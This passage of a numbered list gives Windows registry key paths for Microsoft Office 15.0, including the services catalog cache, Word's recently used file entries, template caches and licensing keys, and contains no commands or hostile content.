  1623. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINTGROUP\\Metadata\\Type",
  1624. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINTGROUP\\Thumbnails",
  1625. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINTGROUP\\Thumbnails\\Url16x16",
  1626. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINTGROUP\\Thumbnails\\Url32x32",
  1627. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINTGROUP\\Thumbnails\\Url48x48",
  1628. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINT_OTHER",
  1629. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINT_OTHER\\Capabilities",
  1630. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINT_OTHER\\ConnectMechanism",
  1631. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINT_OTHER\\IsManaged",
  1632. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINT_OTHER\\IsRemovable",
  1633. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINT_OTHER\\ServiceOwner",
  1634. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINT_OTHER\\SortOrder",
  1635. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINT_OTHER\\SupportsMultiple",
  1636. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINT_OTHER\\CapabilitiesMetadata",
  1637. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINT_OTHER\\Description",
  1638. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINT_OTHER\\Name",
  1639. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINT_OTHER\\ServiceId",
  1640. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINT_OTHER\\ServiceUrl",
  1641. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINT_OTHER\\Metadata",
  1642. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINT_OTHER\\Metadata\\HideIfEmpty",
  1643. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINT_OTHER\\Metadata\\KeyTip",
  1644. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINT_OTHER\\Metadata\\Type",
  1645. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINT_OTHER\\Thumbnails",
  1646. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINT_OTHER\\Thumbnails\\Url16x16",
  1647. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINT_OTHER\\Thumbnails\\Url32x32",
  1648. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINT_OTHER\\Thumbnails\\Url48x48",
  1649. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLINBOX_SKYDRIVE",
  1650. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLINBOX_SKYDRIVE\\Capabilities",
  1651. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLINBOX_SKYDRIVE\\ConnectMechanism",
  1652. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLINBOX_SKYDRIVE\\IsManaged",
  1653. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLINBOX_SKYDRIVE\\IsRemovable",
  1654. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLINBOX_SKYDRIVE\\ServiceOwner",
  1655. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLINBOX_SKYDRIVE\\SortOrder",
  1656. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLINBOX_SKYDRIVE\\SupportsMultiple",
  1657. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLINBOX_SKYDRIVE\\CapabilitiesMetadata",
  1658. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLINBOX_SKYDRIVE\\Description",
  1659. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLINBOX_SKYDRIVE\\Name",
  1660. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLINBOX_SKYDRIVE\\ServiceId",
  1661. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLINBOX_SKYDRIVE\\ServiceUrl",
  1662. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLINBOX_SKYDRIVE\\Metadata",
  1663. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLINBOX_SKYDRIVE\\Metadata\\DefaultCreateRelativePath",
  1664. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLINBOX_SKYDRIVE\\Metadata\\DefaultFolderRelativePath",
  1665. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLINBOX_SKYDRIVE\\Metadata\\KeyTip",
  1666. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLINBOX_SKYDRIVE\\Metadata\\RegularExpression",
  1667. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLINBOX_SKYDRIVE\\Metadata\\Type",
  1668. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLINBOX_SKYDRIVE\\Thumbnails",
  1669. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLINBOX_SKYDRIVE\\Thumbnails\\Url16x16",
  1670. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLINBOX_SKYDRIVE\\Thumbnails\\Url32x32",
  1671. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLINBOX_SKYDRIVE\\Thumbnails\\Url48x48",
  1672. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_CONNECT",
  1673. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_CONNECT\\Capabilities",
  1674. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_CONNECT\\ConnectMechanism",
  1675. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_CONNECT\\IsManaged",
  1676. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_CONNECT\\IsRemovable",
  1677. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_CONNECT\\ServiceOwner",
  1678. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_CONNECT\\SortOrder",
  1679. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_CONNECT\\SupportsMultiple",
  1680. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_CONNECT\\Description",
  1681. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_CONNECT\\Name",
  1682. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_CONNECT\\ServiceId",
  1683. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_CONNECT\\ServiceUrl",
  1684. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_CONNECT\\Thumbnails",
  1685. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_CONNECT\\Thumbnails\\Url16x16",
  1686. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_CONNECT\\Thumbnails\\Url32x32",
  1687. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_CONNECT\\Thumbnails\\Url48x48",
  1688. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_MARKETPLACE",
  1689. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_MARKETPLACE\\Capabilities",
  1690. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_MARKETPLACE\\ConnectMechanism",
  1691. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_MARKETPLACE\\IsManaged",
  1692. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_MARKETPLACE\\IsRemovable",
  1693. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_MARKETPLACE\\ServiceOwner",
  1694. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_MARKETPLACE\\SortOrder",
  1695. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_MARKETPLACE\\SupportsMultiple",
  1696. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_MARKETPLACE\\Description",
  1697. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_MARKETPLACE\\Name",
  1698. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_MARKETPLACE\\ServiceId",
  1699. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_MARKETPLACE\\ServiceUrl",
  1700. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_MARKETPLACE\\Thumbnails",
  1701. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_MARKETPLACE\\Thumbnails\\Url16x16",
  1702. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_MARKETPLACE\\Thumbnails\\Url32x32",
  1703. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_MARKETPLACE\\Thumbnails\\Url48x48",
  1704. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_SKYDRIVE",
  1705. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_SKYDRIVE\\Capabilities",
  1706. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_SKYDRIVE\\ConnectMechanism",
  1707. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_SKYDRIVE\\IsManaged",
  1708. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_SKYDRIVE\\IsRemovable",
  1709. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_SKYDRIVE\\ServiceOwner",
  1710. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_SKYDRIVE\\SortOrder",
  1711. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_SKYDRIVE\\SupportsMultiple",
  1712. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_SKYDRIVE\\CapabilitiesMetadata",
  1713. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_SKYDRIVE\\Description",
  1714. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_SKYDRIVE\\Name",
  1715. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_SKYDRIVE\\ServiceId",
  1716. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_SKYDRIVE\\ServiceUrl",
  1717. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_SKYDRIVE\\Metadata",
  1718. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_SKYDRIVE\\Metadata\\DefaultCreateRelativePath",
  1719. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_SKYDRIVE\\Metadata\\DefaultFolderRelativePath",
  1720. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_SKYDRIVE\\Metadata\\KeyTip",
  1721. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_SKYDRIVE\\Metadata\\RegularExpression",
  1722. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_SKYDRIVE\\Metadata\\Type",
  1723. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_SKYDRIVE\\Thumbnails",
  1724. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_SKYDRIVE\\Thumbnails\\Url16x16",
  1725. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_SKYDRIVE\\Thumbnails\\Url32x32",
  1726. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_SKYDRIVE\\Thumbnails\\Url48x48",
  1727. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Word\\Place MRU\\Item 1",
  1728. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Word\\Place MRU\\Change\\ChangeId",
  1729. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Word\\File MRU\\Item 1",
  1730. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Word\\File MRU\\Item 2",
  1731. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Word\\File MRU\\Item 3",
  1732. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Word\\File MRU\\Item 4",
  1733. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Word\\File MRU\\Item 5",
  1734. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Word\\File MRU\\Item 6",
  1735. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Word\\File MRU\\Item 7",
  1736. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Word\\File MRU\\Item 8",
  1737. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Word\\File MRU\\Item 9",
  1738. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Word\\File MRU\\Item 10",
  1739. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Word\\File MRU\\Item 11",
  1740. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Word\\File MRU\\Item 12",
  1741. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Word\\File MRU\\Item 13",
  1742. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Word\\File MRU\\Change\\ChangeId",
  1743. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Word\\Security\\Trusted Documents\\LastPurgeTime",
  1744. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\Roaming\\RoamingConfigurableSettings",
  1745. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\Roaming\\RoamingLastSyncTime",
  1746. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\Roaming\\RoamingLastWriteTime",
  1747. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\Themes\\1033\\TM03090434",
  1748. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\Themes\\1033\\TM03457503",
  1749. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\Themes\\1033\\TM04033917",
  1750. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\Themes\\1033\\TM03457510",
  1751. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\Themes\\1033\\TM10001105",
  1752. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\Themes\\1033\\TM04033919",
  1753. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\Themes\\1033\\TM03457464",
  1754. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\Themes\\1033\\TM03457475",
  1755. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\Themes\\1033\\TM04033925",
  1756. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\Themes\\1033\\TM04033927",
  1757. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\Themes\\1033\\TM03457485",
  1758. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\Themes\\1033\\TM04033937",
  1759. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\Themes\\1033\\TM10001106",
  1760. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\Themes\\1033\\TM04033921",
  1761. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\Themes\\1033\\TM03457444",
  1762. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\Themes\\1033\\TM03090430",
  1763. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\Themes\\1033\\TM03457515",
  1764. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\Themes\\1033\\TM03457496",
  1765. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\Themes\\1033\\TM04033929",
  1766. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\Themes\\1033\\TM03457491",
  1767. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\Themes\\1033\\TM10001103",
  1768. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\Themes\\1033\\TM10001104",
  1769. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\SmartArt\\1033\\TM03328925",
  1770. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\SmartArt\\1033\\TM03328919",
  1771. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\SmartArt\\1033\\TM03328884",
  1772. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\SmartArt\\1033\\TM03328951",
  1773. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\SmartArt\\1033\\TM03328998",
  1774. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\SmartArt\\1033\\TM03328990",
  1775. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\SmartArt\\1033\\TM03328986",
  1776. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\SmartArt\\1033\\TM03328972",
  1777. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\SmartArt\\1033\\TM03328940",
  1778. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\SmartArt\\1033\\TM03328935",
  1779. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\SmartArt\\1033\\TM03328975",
  1780. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\SmartArt\\1033\\TM03328932",
  1781. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\SmartArt\\1033\\TM03328908",
  1782. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\SmartArt\\1033\\TM03328916",
  1783. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\SmartArt\\1033\\TM03328983",
  1784. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\WordDocParts\\1033\\TM02835233",
  1785. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\WordDocParts\\1033\\TM01840907",
  1786. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\WordDocBibs\\1033\\TM02851222",
  1787. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\WordDocBibs\\1033\\TM02851223",
  1788. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\WordDocBibs\\1033\\TM02851221",
  1789. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\WordDocBibs\\1033\\TM02851224",
  1790. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\WordDocBibs\\1033\\TM02851226",
  1791. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\WordDocBibs\\1033\\TM02851220",
  1792. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\WordDocBibs\\1033\\TM02851227",
  1793. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\WordDocBibs\\1033\\TM02851219",
  1794. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\WordDocBibs\\1033\\TM02851216",
  1795. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\WordDocBibs\\1033\\TM02851218",
  1796. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\WordDocBibs\\1033\\TM02851217",
  1797. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\WordDocBibs\\1033\\TM02851225",
  1798. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\WordDocParts\\1033\\TM03998159",
  1799. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\SmartArt\\1033\\TM03328893",
  1800. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\WordDocParts\\1033\\TM03998158",
  1801. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\SmartArt\\1033\\TM03328905",
  1802. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\General\\LastAutoSavePurgeTime",
  1803. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\Licensing\\09D07EFC505F4D9CBFD5ACE3217F6654",
  1804. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\SmartArt\\1033\\NextUpdate",
  1805. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\SmartArt\\1033\\LastUpdate",
  1806. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\WordDocBibs\\1033\\NextUpdate",
  1807. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\WordDocBibs\\1033\\LastUpdate",
